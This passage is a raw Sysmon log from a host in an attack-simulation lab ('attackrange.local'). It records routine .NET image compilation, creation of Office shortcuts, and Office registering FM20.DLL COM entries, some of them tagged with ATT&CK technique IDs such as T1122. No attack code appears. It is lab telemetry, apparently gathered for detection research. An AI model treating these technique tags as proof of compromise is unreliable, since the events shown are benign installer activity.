14:43:57.315{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2D-613B-5308-00000000F001}6884C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039713Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.299{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F2D-613B-5308-00000000F001}6884C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039712Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.299{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2D-613B-5308-00000000F001}6884C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 11241100x800000000000000039711Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT10232021-09-10 14:43:57.284{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Word.lnk2021-09-10 14:43:57.284 11241100x800000000000000039710Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT10232021-09-10 14:43:57.284{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Skype for Business.lnk2021-09-10 14:43:57.284 11241100x800000000000000039709Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT10232021-09-10 14:43:57.268{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Publisher.lnk2021-09-10 14:43:57.268 11241100x800000000000000039708Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT10232021-09-10 14:43:57.268{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeC:\ProgramData\Microsoft\Windows\Start Menu\Programs\PowerPoint.lnk2021-09-10 14:43:57.268 11241100x800000000000000039707Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT10232021-09-10 14:43:57.268{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Outlook.lnk2021-09-10 14:43:57.268 11241100x800000000000000039706Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT10232021-09-10 14:43:57.253{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeC:\ProgramData\Microsoft\Windows\Start Menu\Programs\OneNote.lnk2021-09-10 14:43:57.253 11241100x800000000000000039705Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT10232021-09-10 14:43:57.253{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office Tools\Telemetry Log for Office.lnk2021-09-10 14:43:57.253 11241100x800000000000000039704Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT10232021-09-10 14:43:57.253{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office Tools\Telemetry Dashboard for Office.lnk2021-09-10 14:43:57.253 11241100x800000000000000039703Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT10232021-09-10 14:43:57.253{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office Tools\Spreadsheet Compare.lnk2021-09-10 14:43:57.253 10341000x800000000000000039702Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.253{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2D-613B-5208-00000000F001}5772C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000039701Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT10232021-09-10 14:43:57.253{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office Tools\Skype for Business Recording Manager.lnk2021-09-10 14:43:57.253 11241100x800000000000000039700Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT10232021-09-10 14:43:57.237{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office Tools\Office Language Preferences.lnk2021-09-10 14:43:57.237 11241100x800000000000000039699Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT10232021-09-10 14:43:57.237{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office Tools\Database Compare.lnk2021-09-10 14:43:57.237 11241100x800000000000000039698Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT10232021-09-10 14:43:57.237{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office Tools2021-09-10 14:43:57.237 11241100x800000000000000039697Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT10232021-09-10 14:43:57.237{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Excel.lnk2021-09-10 14:43:57.237 23542300x800000000000000039696Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.237{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3AA521112B9225901A1CAAD0FBE71C46,SHA256=7E60FBA896EEA218EA7BEAEFCFE8656524B47755C4BAB86E3221D0352AA686A2,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000039695Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.237{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F2D-613B-5208-00000000F001}5772C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039694Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.237{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2D-613B-5208-00000000F001}5772C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 11241100x800000000000000039693Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT10232021-09-10 14:43:57.221{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Access.lnk2021-09-10 14:43:57.221 10341000x800000000000000039692Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.174{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2D-613B-5108-00000000F001}6504C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039691Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.159{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F2D-613B-5108-00000000F001}6504C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039690Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.159{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2D-613B-5108-00000000F001}6504C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000039689Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.112{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2D-613B-5008-00000000F001}6820C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039688Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.096{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F2D-613B-5008-00000000F001}6820C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039687Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.096{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2D-613B-5008-00000000F001}6820C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000039686Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.065{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2D-613B-4F08-00000000F001}4564C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039685Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.049{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F2D-613B-4F08-00000000F001}4564C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039684Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.049{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2D-613B-4F08-00000000F001}4564C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 13241300x800000000000000040508Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.846{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{C62A69F0-16DC-11CE-9E98-00AA00574A4F}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040507Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.831{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{9BDAC276-BE24-4F04-BB22-11469B28A496}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040506Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.831{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{978C9E23-D4B0-11CE-BF2D-00AA003F40D0}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040505Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.815{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{9432194C-DF54-4824-8E24-B013BF2B90E3}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040504Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.815{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{8BD21D60-EC42-11CE-9E0D-00AA006002F3}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040503Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.799{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{8BD21D50-EC42-11CE-9E0D-00AA006002F3}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040502Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.799{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{8BD21D40-EC42-11CE-9E0D-00AA006002F3}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040501Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.799{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{8BD21D30-EC42-11CE-9E0D-00AA006002F3}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040500Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.784{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{8BD21D20-EC42-11CE-9E0D-00AA006002F3}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040499Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.784{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{8BD21D10-EC42-11CE-9E0D-00AA006002F3}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\VFS\System\FM20.DLL 13241300x800000000000000040498Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:58.768{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft 